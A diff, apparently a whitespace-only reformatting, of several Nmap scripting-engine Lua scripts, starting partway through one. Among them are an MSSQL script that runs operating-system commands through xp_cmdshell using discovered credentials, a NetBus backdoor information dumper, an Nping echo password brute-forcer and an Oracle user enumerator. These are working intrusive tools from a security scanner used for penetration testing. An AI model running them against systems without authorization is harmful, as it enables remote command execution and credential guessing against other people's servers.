if ( status and rs ) then
|
||||||
result = mssql.Util.FormatOutputTable( rs, true )
|
result = mssql.Util.FormatOutputTable( rs, true )
|
||||||
result.name = username
|
result.name = username
|
||||||
if ( RS_LIMIT > 0 ) then
|
if ( RS_LIMIT > 0 ) then
|
||||||
result.name = result.name .. (" (Showing %d first results)"):format(RS_LIMIT)
|
result.name = result.name .. (" (Showing %d first results)"):format(RS_LIMIT)
|
||||||
end
|
end
|
||||||
table.insert( output, result )
|
table.insert( output, result )
|
||||||
end
|
end
|
||||||
end
|
end
|
||||||
end
|
end
|
||||||
|
|
||||||
|
|
||||||
local instanceOutput = {}
|
local instanceOutput = {}
|
||||||
instanceOutput["name"] = string.format( "[%s]", instance:GetName() )
|
instanceOutput["name"] = string.format( "[%s]", instance:GetName() )
|
||||||
table.insert( instanceOutput, output )
|
table.insert( instanceOutput, output )
|
||||||
|
|
||||||
return instanceOutput
|
return instanceOutput
|
||||||
|
|
||||||
end
|
end
|
||||||
|
|
||||||
|
|
||||||
action = function( host, port )
|
action = function( host, port )
|
||||||
local scriptOutput = {}
|
local scriptOutput = {}
|
||||||
local status, instanceList = mssql.Helper.GetTargetInstances( host, port )
|
local status, instanceList = mssql.Helper.GetTargetInstances( host, port )
|
||||||
|
|
||||||
if ( not status ) then
|
if ( not status ) then
|
||||||
return stdnse.format_output( false, instanceList )
|
return stdnse.format_output( false, instanceList )
|
||||||
else
|
else
|
||||||
for _, instance in pairs( instanceList ) do
|
for _, instance in pairs( instanceList ) do
|
||||||
local instanceOutput = process_instance( instance )
|
local instanceOutput = process_instance( instance )
|
||||||
if instanceOutput then
|
if instanceOutput then
|
||||||
table.insert( scriptOutput, instanceOutput )
|
table.insert( scriptOutput, instanceOutput )
|
||||||
end
|
end
|
||||||
end
|
end
|
||||||
end
|
end
|
||||||
|
|
||||||
return stdnse.format_output( true, scriptOutput )
|
return stdnse.format_output( true, scriptOutput )
|
||||||
end
|
end
|
||||||
|
|||||||
@@ -79,7 +79,7 @@ be disabled using the <code>mssql.scanned-ports-only</code> script argument.
|
|||||||
|
|
||||||
-- Created 01/17/2010 - v0.1 - created by Patrik Karlsson <patrik@cqure.net>
|
-- Created 01/17/2010 - v0.1 - created by Patrik Karlsson <patrik@cqure.net>
|
||||||
-- Revised 02/01/2011 - v0.2 - Added ability to run against all instances on a host;
|
-- Revised 02/01/2011 - v0.2 - Added ability to run against all instances on a host;
|
||||||
-- added compatibility with changes in mssql.lua (Chris Woodbury)
|
-- added compatibility with changes in mssql.lua (Chris Woodbury)
|
||||||
|
|
||||||
author = "Patrik Karlsson"
|
author = "Patrik Karlsson"
|
||||||
license = "Same as Nmap--See http://nmap.org/book/man-legal.html"
|
license = "Same as Nmap--See http://nmap.org/book/man-legal.html"
|
||||||
@@ -94,73 +94,73 @@ portrule = mssql.Helper.GetPortrule_Standard()
|
|||||||
|
|
||||||
local function process_instance( instance )
|
local function process_instance( instance )
|
||||||
|
|
||||||
local status, result
|
local status, result
|
||||||
local query
|
local query
|
||||||
local cmd = stdnse.get_script_args( {'ms-sql-xp-cmdshell.cmd', 'mssql-xp-cmdshell.cmd'} ) or 'ipconfig /all'
|
local cmd = stdnse.get_script_args( {'ms-sql-xp-cmdshell.cmd', 'mssql-xp-cmdshell.cmd'} ) or 'ipconfig /all'
|
||||||
local output = {}
|
local output = {}
|
||||||
|
|
||||||
query = ("EXEC master..xp_cmdshell '%s'"):format(cmd)
|
query = ("EXEC master..xp_cmdshell '%s'"):format(cmd)
|
||||||
|
|
||||||
local creds = mssql.Helper.GetLoginCredentials_All( instance )
|
local creds = mssql.Helper.GetLoginCredentials_All( instance )
|
||||||
if ( not creds ) then
|
if ( not creds ) then
|
||||||
output = "ERROR: No login credentials."
|
output = "ERROR: No login credentials."
|
||||||
else
|
else
|
||||||
for username, password in pairs( creds ) do
|
for username, password in pairs( creds ) do
|
||||||
local helper = mssql.Helper:new()
|
local helper = mssql.Helper:new()
|
||||||
status, result = helper:ConnectEx( instance )
|
status, result = helper:ConnectEx( instance )
|
||||||
if ( not(status) ) then
|
if ( not(status) ) then
|
||||||
output = "ERROR: " .. result
|
output = "ERROR: " .. result
|
||||||
break
|
break
|
||||||
end
|
end
|
||||||
|
|
||||||
if ( status ) then
|
if ( status ) then
|
||||||
status = helper:Login( username, password, nil, instance.host.ip )
|
status = helper:Login( username, password, nil, instance.host.ip )
|
||||||
end
|
end
|
||||||
|
|
||||||
if ( status ) then
|
if ( status ) then
|
||||||
status, result = helper:Query( query )
|
status, result = helper:Query( query )
|
||||||
end
|
end
|
||||||
helper:Disconnect()
|
helper:Disconnect()
|
||||||
|
|
||||||
if ( status ) then
|
if ( status ) then
|
||||||
output = mssql.Util.FormatOutputTable( result, true )
|
output = mssql.Util.FormatOutputTable( result, true )
|
||||||
output[ "name" ] = string.format( "Command: %s", cmd )
|
output[ "name" ] = string.format( "Command: %s", cmd )
|
||||||
break
|
break
|
||||||
elseif ( result and result:gmatch("xp_configure") ) then
|
elseif ( result and result:gmatch("xp_configure") ) then
|
||||||
if( nmap.verbosity() > 1 ) then
|
if( nmap.verbosity() > 1 ) then
|
||||||
output = "Procedure xp_cmdshell disabled. For more information see \"Surface Area Configuration\" in Books Online."
|
output = "Procedure xp_cmdshell disabled. For more information see \"Surface Area Configuration\" in Books Online."
|
||||||
end
|
end
|
||||||
end
|
end
|
||||||
end
|
end
|
||||||
end
|
end
|
||||||
|
|
||||||
local instanceOutput = {}
|
local instanceOutput = {}
|
||||||
instanceOutput["name"] = string.format( "[%s]", instance:GetName() )
|
instanceOutput["name"] = string.format( "[%s]", instance:GetName() )
|
||||||
table.insert( instanceOutput, output )
|
table.insert( instanceOutput, output )
|
||||||
|
|
||||||
return instanceOutput
|
return instanceOutput
|
||||||
|
|
||||||
end
|
end
|
||||||
|
|
||||||
|
|
||||||
action = function( host, port )
|
action = function( host, port )
|
||||||
local scriptOutput = {}
|
local scriptOutput = {}
|
||||||
local status, instanceList = mssql.Helper.GetTargetInstances( host, port )
|
local status, instanceList = mssql.Helper.GetTargetInstances( host, port )
|
||||||
|
|
||||||
if ( not status ) then
|
if ( not status ) then
|
||||||
return stdnse.format_output( false, instanceList )
|
return stdnse.format_output( false, instanceList )
|
||||||
else
|
else
|
||||||
for _, instance in pairs( instanceList ) do
|
for _, instance in pairs( instanceList ) do
|
||||||
local instanceOutput = process_instance( instance )
|
local instanceOutput = process_instance( instance )
|
||||||
if instanceOutput then
|
if instanceOutput then
|
||||||
table.insert( scriptOutput, instanceOutput )
|
table.insert( scriptOutput, instanceOutput )
|
||||||
end
|
end
|
||||||
end
|
end
|
||||||
|
|
||||||
if ( not(stdnse.get_script_args( {'ms-sql-xp-cmdshell.cmd', 'mssql-xp-cmdshell.cmd'} ) ) ) then
|
if ( not(stdnse.get_script_args( {'ms-sql-xp-cmdshell.cmd', 'mssql-xp-cmdshell.cmd'} ) ) ) then
|
||||||
table.insert(scriptOutput, 1, "(Use --script-args=ms-sql-xp-cmdshell.cmd='<CMD>' to change command.)")
|
table.insert(scriptOutput, 1, "(Use --script-args=ms-sql-xp-cmdshell.cmd='<CMD>' to change command.)")
|
||||||
end
|
end
|
||||||
end
|
end
|
||||||
|
|
||||||
return stdnse.format_output( true, scriptOutput )
|
return stdnse.format_output( true, scriptOutput )
|
||||||
end
|
end
|
||||||
|
|||||||
@@ -15,7 +15,7 @@ audits by creating appropriate audit files).
|
|||||||
---
|
---
|
||||||
-- @usage
|
-- @usage
|
||||||
-- nmap -p 3306 --script mysql-audit --script-args "mysql-audit.username='root', \
|
-- nmap -p 3306 --script mysql-audit --script-args "mysql-audit.username='root', \
|
||||||
-- mysql-audit.password='foobar',mysql-audit.filename='nselib/data/mysql-cis.audit'"
|
-- mysql-audit.password='foobar',mysql-audit.filename='nselib/data/mysql-cis.audit'"
|
||||||
--
|
--
|
||||||
-- @args mysql-audit.username the username with which to connect to the database
|
-- @args mysql-audit.username the username with which to connect to the database
|
||||||
-- @args mysql-audit.password the password with which to connect to the database
|
-- @args mysql-audit.password the password with which to connect to the database
|
||||||
@@ -94,89 +94,89 @@ portrule = shortport.port_or_service(3306, "mysql")
|
|||||||
local TEMPLATE_NAME, ADMIN_ACCOUNTS = "", ""
|
local TEMPLATE_NAME, ADMIN_ACCOUNTS = "", ""
|
||||||
|
|
||||||
local function loadAuditRulebase( filename )
|
local function loadAuditRulebase( filename )
|
||||||
local rules = {}
|
local rules = {}
|
||||||
|
|
||||||
local env = setmetatable({
|
local env = setmetatable({
|
||||||
test = function(t) table.insert(rules, t) end;
|
test = function(t) table.insert(rules, t) end;
|
||||||
}, {__index = _G})
|
}, {__index = _G})
|
||||||
|
|
||||||
local file, err = loadfile(filename, "t", env)
|
local file, err = loadfile(filename, "t", env)
|
||||||
|
|
||||||
if ( not(file) ) then
|
if ( not(file) ) then
|
||||||
return false, ("ERROR: Failed to load rulebase:\n%s"):format(err)
|
return false, ("ERROR: Failed to load rulebase:\n%s"):format(err)
|
||||||
end
|
end
|
||||||
|
|
||||||
|
|
||||||
file()
|
file()
|
||||||
TEMPLATE_NAME = env.TEMPLATE_NAME
|
TEMPLATE_NAME = env.TEMPLATE_NAME
|
||||||
ADMIN_ACCOUNTS = env.ADMIN_ACCOUNTS
|
ADMIN_ACCOUNTS = env.ADMIN_ACCOUNTS
|
||||||
return true, rules
|
return true, rules
|
||||||
end
|
end
|
||||||
|
|
||||||
action = function( host, port )
|
action = function( host, port )
|
||||||
|
|
||||||
local username = stdnse.get_script_args("mysql-audit.username")
|
local username = stdnse.get_script_args("mysql-audit.username")
|
||||||
local password = stdnse.get_script_args("mysql-audit.password")
|
local password = stdnse.get_script_args("mysql-audit.password")
|
||||||
local filename = stdnse.get_script_args("mysql-audit.filename")
|
local filename = stdnse.get_script_args("mysql-audit.filename")
|
||||||
|
|
||||||
if ( not(filename) ) then
|
if ( not(filename) ) then
|
||||||
return "\n No audit rulebase file was supplied (see mysql-audit.filename)"
|
return "\n No audit rulebase file was supplied (see mysql-audit.filename)"
|
||||||
end
|
end
|
||||||
|
|
||||||
if ( not(username) ) then
|
if ( not(username) ) then
|
||||||
return "\n No username was supplied (see mysql-audit.username)"
|
return "\n No username was supplied (see mysql-audit.username)"
|
||||||
end
|
end
|
||||||
|
|
||||||
local status, tests = loadAuditRulebase( filename )
|
local status, tests = loadAuditRulebase( filename )
|
||||||
if( not(status) ) then return tests end
|
if( not(status) ) then return tests end
|
||||||
|
|
||||||
local socket = nmap.new_socket()
|
local socket = nmap.new_socket()
|
||||||
status = socket:connect(host, port)
|
status = socket:connect(host, port)
|
||||||
|
|
||||||
local response
|
local response
|
||||||
status, response = mysql.receiveGreeting( socket )
|
status, response = mysql.receiveGreeting( socket )
|
||||||
if ( not(status) ) then return response end
|
if ( not(status) ) then return response end
|
||||||
|
|
||||||
status, response = mysql.loginRequest( socket, { authversion = "post41", charset = response.charset }, username, password, response.salt )
|
status, response = mysql.loginRequest( socket, { authversion = "post41", charset = response.charset }, username, password, response.salt )
|
||||||
|
|
||||||
if ( not(status) ) then return "ERROR: Failed to authenticate" end
|
if ( not(status) ) then return "ERROR: Failed to authenticate" end
|
||||||
local results = {}
|
local results = {}
|
||||||
|
|
||||||
for _, test in ipairs(tests) do
|
for _, test in ipairs(tests) do
|
||||||
local queries = ( "string" == type(test.sql) ) and { test.sql } or test.sql
|
local queries = ( "string" == type(test.sql) ) and { test.sql } or test.sql
|
||||||
local rowstab = {}
|
local rowstab = {}
|
||||||
|
|
||||||
for _, query in ipairs(queries) do
|
for _, query in ipairs(queries) do
|
||||||
local row
|
local row
|
||||||
status, row = mysql.sqlQuery( socket, query )
|
status, row = mysql.sqlQuery( socket, query )
|
||||||
if ( not(status) ) then
|
if ( not(status) ) then
|
||||||
table.insert( results, { ("%s: ERROR: Failed to execute SQL statement"):format(test.id) } )
|
table.insert( results, { ("%s: ERROR: Failed to execute SQL statement"):format(test.id) } )
|
||||||
else
|
else
|
||||||
table.insert(rowstab, row)
|
table.insert(rowstab, row)
|
||||||
end
|
end
|
||||||
end
|
end
|
||||||
|
|
||||||
if ( #rowstab > 0 ) then
|
if ( #rowstab > 0 ) then
|
||||||
local result_part = {}
|
local result_part = {}
|
||||||
local res = test.check(rowstab)
|
local res = test.check(rowstab)
|
||||||
local status, data = res.status, res.result
|
local status, data = res.status, res.result
|
||||||
status = ( res.review and "REVIEW" ) or (status and "PASS" or "FAIL")
|
status = ( res.review and "REVIEW" ) or (status and "PASS" or "FAIL")
|
||||||
|
|
||||||
table.insert( result_part, ("%s: %s => %s"):format(test.id, test.desc, status) )
|
table.insert( result_part, ("%s: %s => %s"):format(test.id, test.desc, status) )
|
||||||
if ( data ) then
|
if ( data ) then
|
||||||
table.insert(result_part, { data } )
|
table.insert(result_part, { data } )
|
||||||
end
|
end
|
||||||
table.insert( results, result_part )
|
table.insert( results, result_part )
|
||||||
end
|
end
|
||||||
end
|
end
|
||||||
|
|
||||||
socket:close()
|
socket:close()
|
||||||
results.name = TEMPLATE_NAME
|
results.name = TEMPLATE_NAME
|
||||||
|
|
||||||
table.insert(results, "")
|
table.insert(results, "")
|
||||||
table.insert(results, {name = "Additional information", ("The audit was performed using the db-account: %s"):format(username),
|
table.insert(results, {name = "Additional information", ("The audit was performed using the db-account: %s"):format(username),
|
||||||
("The following admin accounts were excluded from the audit: %s"):format(stdnse.strjoin(",", ADMIN_ACCOUNTS))
|
("The following admin accounts were excluded from the audit: %s"):format(stdnse.strjoin(",", ADMIN_ACCOUNTS))
|
||||||
})
|
})
|
||||||
|
|
||||||
return stdnse.format_output(true, { results })
|
return stdnse.format_output(true, { results })
|
||||||
end
|
end
|
||||||
|
|||||||
@@ -63,112 +63,112 @@ dependencies = {"netbus-version", "netbus-brute"}
|
|||||||
portrule = shortport.port_or_service (12345, "netbus", {"tcp"})
|
portrule = shortport.port_or_service (12345, "netbus", {"tcp"})
|
||||||
|
|
||||||
local function format_acl(acl)
|
local function format_acl(acl)
|
||||||
if acl == nil then
|
if acl == nil then
|
||||||
return {}
|
return {}
|
||||||
end
|
end
|
||||||
local payload = string.sub(acl, 9) --skip header
|
local payload = string.sub(acl, 9) --skip header
|
||||||
local fields = stdnse.strsplit("|", payload)
|
local fields = stdnse.strsplit("|", payload)
|
||||||
table.remove(fields, (# fields))
|
table.remove(fields, (# fields))
|
||||||
fields["name"] = "ACL"
|
fields["name"] = "ACL"
|
||||||
return fields
|
return fields
|
||||||
end
|
end
|
||||||
|
|
||||||
local function format_apps(apps)
|
local function format_apps(apps)
|
||||||
if apps == nil then
|
if apps == nil then
|
||||||
return {}
|
return {}
|
||||||
end
|
end
|
||||||
local payload = string.sub(apps, 10) --skip header
|
local payload = string.sub(apps, 10) --skip header
|
||||||
local fields = stdnse.strsplit("|", payload)
|
local fields = stdnse.strsplit("|", payload)
|
||||||
table.remove(fields, (# fields))
|
table.remove(fields, (# fields))
|
||||||
fields["name"] = "APPLICATIONS"
|
fields["name"] = "APPLICATIONS"
|
||||||
return fields
|
return fields
|
||||||
end
|
end
|
||||||
|
|
||||||
local function format_info(info)
|
local function format_info(info)
|
||||||
if info == nil then
|
if info == nil then
|
||||||
return {}
|
return {}
|
||||||
end
|
end
|
||||||
local payload = string.sub(info, 6) --skip header
|
local payload = string.sub(info, 6) --skip header
|
||||||
local fields = stdnse.strsplit("|", payload)
|
local fields = stdnse.strsplit("|", payload)
|
||||||
fields["name"] = "INFO"
|
fields["name"] = "INFO"
|
||||||
return fields
|
return fields
|
||||||
end
|
end
|
||||||
|
|
||||||
local function format_setup(setup)
|
local function format_setup(setup)
|
||||||
local formatted = {}
|
local formatted = {}
|
||||||
if setup == nil then
|
if setup == nil then
|
||||||
return formatted
|
return formatted
|
||||||
end
|
end
|
||||||
local fields = stdnse.strsplit(";", setup)
|
local fields = stdnse.strsplit(";", setup)
|
||||||
if # fields < 7 then
|
if # fields < 7 then
|
||||||
return formatted
|
return formatted
|
||||||
end
|
end
|
||||||
formatted["name"] = "SETUP"
|
formatted["name"] = "SETUP"
|
||||||
table.insert(formatted, string.format("TCP-port: %s", fields[2]))
|
table.insert(formatted, string.format("TCP-port: %s", fields[2]))
|
||||||
table.insert(formatted, string.format("Log traffic: %s", fields[3]))
|
table.insert(formatted, string.format("Log traffic: %s", fields[3]))
|
||||||
table.insert(formatted, string.format("Password: %s", fields[4]))
|
table.insert(formatted, string.format("Password: %s", fields[4]))
|
||||||
table.insert(formatted, string.format("Notify to: %s", fields[5]))
|
table.insert(formatted, string.format("Notify to: %s", fields[5]))
|
||||||
table.insert(formatted, string.format("Notify from: %s", fields[6]))
|
table.insert(formatted, string.format("Notify from: %s", fields[6]))
|
||||||
table.insert(formatted, string.format("SMTP-server: %s", fields[7]))
|
table.insert(formatted, string.format("SMTP-server: %s", fields[7]))
|
||||||
return formatted
|
return formatted
|
||||||
end
|
end
|
||||||
|
|
||||||
local function format_volume(volume)
|
local function format_volume(volume)
|
||||||
local formatted = {}
|
local formatted = {}
|
||||||
if volume == nil then
|
if volume == nil then
|
||||||
return formatted
|
return formatted
|
||||||
end
|
end
|
||||||
local fields = stdnse.strsplit(";", volume)
|
local fields = stdnse.strsplit(";", volume)
|
||||||
if # fields < 4 then
|
if # fields < 4 then
|
||||||
return formatted
|
return formatted
|
||||||
end
|
end
|
||||||
formatted["name"] = "VOLUME"
|
formatted["name"] = "VOLUME"
|
||||||
table.insert(formatted, string.format("Wave: %s", fields[2]))
|
table.insert(formatted, string.format("Wave: %s", fields[2]))
|
||||||
table.insert(formatted, string.format("Synth: %s", fields[3]))
|
table.insert(formatted, string.format("Synth: %s", fields[3]))
|
||||||
table.insert(formatted, string.format("Cd: %s", fields[4]))
|
table.insert(formatted, string.format("Cd: %s", fields[4]))
|
||||||
return formatted
|
return formatted
|
||||||
end
|
end
|
||||||
|
|
||||||
action = function( host, port )
|
action = function( host, port )
|
||||||
local password = nmap.registry.args[SCRIPT_NAME .. ".password"]
|
local password = nmap.registry.args[SCRIPT_NAME .. ".password"]
|
||||||
if not password and nmap.registry.netbuspasswords then
|
if not password and nmap.registry.netbuspasswords then
|
||||||
local key = string.format("%s:%d", host.ip, port.number)
|
local key = string.format("%s:%d", host.ip, port.number)
|
||||||
password = nmap.registry.netbuspasswords[key]
|
password = nmap.registry.netbuspasswords[key]
|
||||||
end
|
end
|
||||||
if not password then
|
if not password then
|
||||||
password = ""
|
password = ""
|
||||||
end
|
end
|
||||||
local socket = nmap.new_socket()
|
local socket = nmap.new_socket()
|
||||||
socket:set_timeout(5000)
|
socket:set_timeout(5000)
|
||||||
local status, err = socket:connect(host.ip, port.number)
|
local status, err = socket:connect(host.ip, port.number)
|
||||||
local buffer, err = stdnse.make_buffer(socket, "\r")
|
local buffer, err = stdnse.make_buffer(socket, "\r")
|
||||||
local _ = buffer()
|
local _ = buffer()
|
||||||
socket:send(string.format("Password;1;%s\r", password))
|
socket:send(string.format("Password;1;%s\r", password))
|
||||||
local gotin = buffer()
|
local gotin = buffer()
|
||||||
if gotin == "Access;0" then
|
if gotin == "Access;0" then
|
||||||
return
|
return
|
||||||
end
|
end
|
||||||
|
|
||||||
socket:send("GetInfo\r")
|
socket:send("GetInfo\r")
|
||||||
local info = buffer()
|
local info = buffer()
|
||||||
socket:send("GetSetup\r")
|
socket:send("GetSetup\r")
|
||||||
local setup = buffer()
|
local setup = buffer()
|
||||||
socket:send("GetACL\r")
|
socket:send("GetACL\r")
|
||||||
local acl = buffer()
|
local acl = buffer()
|
||||||
socket:send("GetApps\r")
|
socket:send("GetApps\r")
|
||||||
local apps = buffer()
|
local apps = buffer()
|
||||||
socket:send("GetVolume\r")
|
socket:send("GetVolume\r")
|
||||||
local volume = buffer()
|
local volume = buffer()
|
||||||
socket:close()
|
socket:close()
|
||||||
|
|
||||||
local response = {}
|
local response = {}
|
||||||
table.insert(response, format_acl(acl))
|
table.insert(response, format_acl(acl))
|
||||||
table.insert(response, format_apps(apps))
|
table.insert(response, format_apps(apps))
|
||||||
table.insert(response, format_info(info))
|
table.insert(response, format_info(info))
|
||||||
table.insert(response, format_setup(setup))
|
table.insert(response, format_setup(setup))
|
||||||
table.insert(response, format_volume(volume))
|
table.insert(response, format_volume(volume))
|
||||||
|
|
||||||
return stdnse.format_output(true, response)
|
return stdnse.format_output(true, response)
|
||||||
end
|
end
|
||||||
|
|
||||||
|
|
||||||
|
|||||||
@@ -35,127 +35,127 @@ categories = {"brute", "intrusive"}
|
|||||||
portrule = shortport.port_or_service(9929, "nping-echo")
|
portrule = shortport.port_or_service(9929, "nping-echo")
|
||||||
|
|
||||||
local function randombytes(x)
|
local function randombytes(x)
|
||||||
local bytes = ""
|
local bytes = ""
|
||||||
for i = 1, x do
|
for i = 1, x do
|
||||||
bytes = bytes .. bin.pack("C", math.random(0x00, 0xff))
|
bytes = bytes .. bin.pack("C", math.random(0x00, 0xff))
|
||||||
end
|
end
|
||||||
return bytes
|
return bytes
|
||||||
end
|
end
|
||||||
|
|
||||||
local function readmessage(socket, length)
|
local function readmessage(socket, length)
|
||||||
local msg = ""
|
local msg = ""
|
||||||
while #msg < length do
|
while #msg < length do
|
||||||
local status, tmp = socket:receive_bytes(1)
|
local status, tmp = socket:receive_bytes(1)
|
||||||
if not status then
|
if not status then
|
||||||
return nil
|
return nil
|
||||||
end
|
end
|
||||||
msg = msg .. tmp
|
msg = msg .. tmp
|
||||||
end
|
end
|
||||||
return msg
|
return msg
|
||||||
end
|
end
|
||||||
|
|
||||||
Driver =
|
Driver =
|
||||||
{
|
{
|
||||||
NEP_VERSION = 0x01,
|
NEP_VERSION = 0x01,
|
||||||
AES_128_CBC = "aes-128-cbc",
|
AES_128_CBC = "aes-128-cbc",
|
||||||
SHA256 = "sha256",
|
SHA256 = "sha256",
|
||||||
|
|
||||||
new = function(self, host, port)
|
new = function(self, host, port)
|
||||||
local o = {}
|
local o = {}
|
||||||
setmetatable(o, self)
|
setmetatable(o, self)
|
||||||
self.__index = self
|
self.__index = self
|
||||||
o.host = host
|
o.host = host
|
||||||
o.port = port
|
o.port = port
|
||||||
return o
|
return o
|
||||||
end,
|
end,
|
||||||
|
|
||||||
nepkey = function(self, password, nonce, typeid)
|
nepkey = function(self, password, nonce, typeid)
|
||||||
local seed = password .. nonce .. typeid
|
local seed = password .. nonce .. typeid
|
||||||
local h = openssl.digest(self.SHA256, seed)
|
local h = openssl.digest(self.SHA256, seed)
|
||||||
for i = 1, 1000 do
|
for i = 1, 1000 do
|
||||||
h = openssl.digest(self.SHA256, h)
|
h = openssl.digest(self.SHA256, h)
|
||||||
end
|
end
|
||||||
local _, key = bin.unpack("A16", h)
|
local _, key = bin.unpack("A16", h)
|
||||||
return key
|
return key
|
||||||
end,
|
end,
|
||||||
|
|
||||||
getservernonce = function(self, serverhs)
|
getservernonce = function(self, serverhs)
|
||||||
local parts = {bin.unpack("CC>S>I>Ix4A32x15A32", serverhs)}
|
local parts = {bin.unpack("CC>S>I>Ix4A32x15A32", serverhs)}
|
||||||
return parts[7]
|
return parts[7]
|
||||||
end,
|
end,
|
||||||
|
|
||||||
chsbody = function(self)
|
chsbody = function(self)
|
||||||
local IP4 = 0x04
|
local IP4 = 0x04
|
||||||
local IP6 = 0x06
|
local IP6 = 0x06
|
||||||
local family = IP6
|
local family = IP6
|
||||||
local target = self.host.bin_ip
|
local target = self.host.bin_ip
|
||||||
if #target == 4 then
|
if #target == 4 then
|
||||||
target = bin.pack("Ax12", target)
|
target = bin.pack("Ax12", target)
|
||||||
family = IP4
|
family = IP4
|
||||||
end
|
end
|
||||||
return bin.pack("ACx15", target, family)
|
return bin.pack("ACx15", target, family)
|
||||||
end,
|
end,
|
||||||
|
|
||||||
clienths = function(self, snonce, password)
|
clienths = function(self, snonce, password)
|
||||||
local NEP_HANDSHAKE_CLIENT = 0x02
|
local NEP_HANDSHAKE_CLIENT = 0x02
|
||||||
local NEP_HANDSHAKE_CLIENT_LEN = 36
|
local NEP_HANDSHAKE_CLIENT_LEN = 36
|
||||||
local NEP_CLIENT_CIPHER_ID = "NEPkeyforCiphertextClient2Server"
|
local NEP_CLIENT_CIPHER_ID = "NEPkeyforCiphertextClient2Server"
|
||||||
local NEP_CLIENT_MAC_ID = "NEPkeyforMACClient2Server"
|
local NEP_CLIENT_MAC_ID = "NEPkeyforMACClient2Server"
|
||||||
|
|
||||||
local now = nmap.clock()
|
local now = nmap.clock()
|
||||||
local seqb = randombytes(4)
|
local seqb = randombytes(4)
|
||||||
local cnonce = randombytes(32)
|
local cnonce = randombytes(32)
|
||||||
local nonce = snonce .. cnonce
|
local nonce = snonce .. cnonce
|
||||||
local enckey = self:nepkey(password, nonce, NEP_CLIENT_CIPHER_ID)
|
local enckey = self:nepkey(password, nonce, NEP_CLIENT_CIPHER_ID)
|
||||||
local mackey = self:nepkey(password, nonce, NEP_CLIENT_MAC_ID)
|
local mackey = self:nepkey(password, nonce, NEP_CLIENT_MAC_ID)
|
||||||
local _, iv = bin.unpack("A16", cnonce)
|
local _, iv = bin.unpack("A16", cnonce)
|
||||||
local plain = self:chsbody()
|
local plain = self:chsbody()
|
||||||
local crypted = openssl.encrypt(self.AES_128_CBC, enckey, iv, plain)
|
local crypted = openssl.encrypt(self.AES_128_CBC, enckey, iv, plain)
|
||||||
local head = bin.pack("CC>SA>Ix4A", self.NEP_VERSION, NEP_HANDSHAKE_CLIENT, NEP_HANDSHAKE_CLIENT_LEN, seqb, now, nonce)
|
local head = bin.pack("CC>SA>Ix4A", self.NEP_VERSION, NEP_HANDSHAKE_CLIENT, NEP_HANDSHAKE_CLIENT_LEN, seqb, now, nonce)
|
||||||
local mac = openssl.hmac(self.SHA256, mackey, head .. plain)
|
local mac = openssl.hmac(self.SHA256, mackey, head .. plain)
|
||||||
|
|
||||||
return head .. crypted .. mac
|
return head .. crypted .. mac
|
||||||
end,
|
end,
|
||||||
|
|
||||||
testpass = function(self, password)
|
testpass = function(self, password)
|
||||||
local SERVERHS_LEN = 96
|
local SERVERHS_LEN = 96
|
||||||
local FINALHS_LEN = 112
|
local FINALHS_LEN = 112
|
||||||
local serverhs = readmessage(self.socket, SERVERHS_LEN)
|
local serverhs = readmessage(self.socket, SERVERHS_LEN)
|
||||||
if serverhs == nil then
|
if serverhs == nil then
|
||||||
return false
|
return false
|
||||||
end
|
end
|
||||||
local snonce = self:getservernonce(serverhs)
|
local snonce = self:getservernonce(serverhs)
|
||||||
local response = self:clienths(snonce, password)
|
local response = self:clienths(snonce, password)
|
||||||
self.socket:send(response)
|
self.socket:send(response)
|
||||||
local finalhs = readmessage(self.socket, FINALHS_LEN)
|
local finalhs = readmessage(self.socket, FINALHS_LEN)
|
||||||
if finalhs == nil then
|
if finalhs == nil then
|
||||||
return false
|
return false
|
||||||
end
|
end
|
||||||
return true
|
return true
|
||||||
end,
|
end,
|
||||||
|
|
||||||
connect = function(self)
|
connect = function(self)
|
||||||
self.socket = nmap.new_socket()
|
self.socket = nmap.new_socket()
|
||||||
return self.socket:connect(self.host, self.port)
|
return self.socket:connect(self.host, self.port)
|
||||||
end,
|
end,
|
||||||
|
|
||||||
login = function(self, _, password)
|
login = function(self, _, password)
|
||||||
if self:testpass(password) then
|
if self:testpass(password) then
|
||||||
return true, brute.Account:new("", password, creds.State.VALID)
|
return true, brute.Account:new("", password, creds.State.VALID)
|
||||||
end
|
end
|
||||||
return false, brute.Error:new("Incorrect password")
|
return false, brute.Error:new("Incorrect password")
|
||||||
end,
|
end,
|
||||||
|
|
||||||
disconnect = function(self)
|
disconnect = function(self)
|
||||||
return self.socket:close()
|
return self.socket:close()
|
||||||
end,
|
end,
|
||||||
}
|
}
|
||||||
|
|
||||||
action = function(host, port)
|
action = function(host, port)
|
||||||
local engine = brute.Engine:new(Driver, host, port)
|
local engine = brute.Engine:new(Driver, host, port)
|
||||||
engine.options.firstonly = true
|
engine.options.firstonly = true
|
||||||
engine.options:setOption("passonly", true)
|
engine.options:setOption("passonly", true)
|
||||||
engine.options.script_name = SCRIPT_NAME
|
engine.options.script_name = SCRIPT_NAME
|
||||||
local status, result = engine:start()
|
local status, result = engine:start()
|
||||||
return result
|
return result
|
||||||
end
|
end
|
||||||
|
|||||||
@@ -48,26 +48,26 @@ portrule = shortport.port_or_service(1521, 'oracle-tns' )
|
|||||||
|
|
||||||
local function checkAccount( host, port, user )
|
local function checkAccount( host, port, user )
|
||||||
|
|
||||||
local helper = tns.Helper:new( host, port, nmap.registry.args['oracle-enum-users.sid'] )
|
local helper = tns.Helper:new( host, port, nmap.registry.args['oracle-enum-users.sid'] )
|
||||||
local status, data = helper:Connect()
|
local status, data = helper:Connect()
|
||||||
local tnscomm, auth
|
local tnscomm, auth
|
||||||
local auth_options = tns.AuthOptions:new()
|
local auth_options = tns.AuthOptions:new()
|
||||||
|
|
||||||
|
|
||||||
if ( not(status) ) then
|
if ( not(status) ) then
|
||||||
return false, data
|
return false, data
|
||||||
end
|
end
|
||||||
|
|
||||||
-- A bit ugly, the helper should probably provide a getSocket function
|
-- A bit ugly, the helper should probably provide a getSocket function
|
||||||
tnscomm = tns.Comm:new( helper.tnssocket )
|
tnscomm = tns.Comm:new( helper.tnssocket )
|
||||||
|
|
||||||
status, auth = tnscomm:exchTNSPacket( tns.Packet.PreAuth:new( user, auth_options, helper.os ) )
|
status, auth = tnscomm:exchTNSPacket( tns.Packet.PreAuth:new( user, auth_options, helper.os ) )
|
||||||
if ( not(status) ) then
|
if ( not(status) ) then
|
||||||
return false, auth
|
return false, auth
|
||||||
end
|
end
|
||||||
helper:Close()
|
helper:Close()
|
||||||
|
|
||||||
return true, auth["AUTH_VFR_DATA"]
|
return true, auth["AUTH_VFR_DATA"]
|
||||||
end
|
end
|
||||||
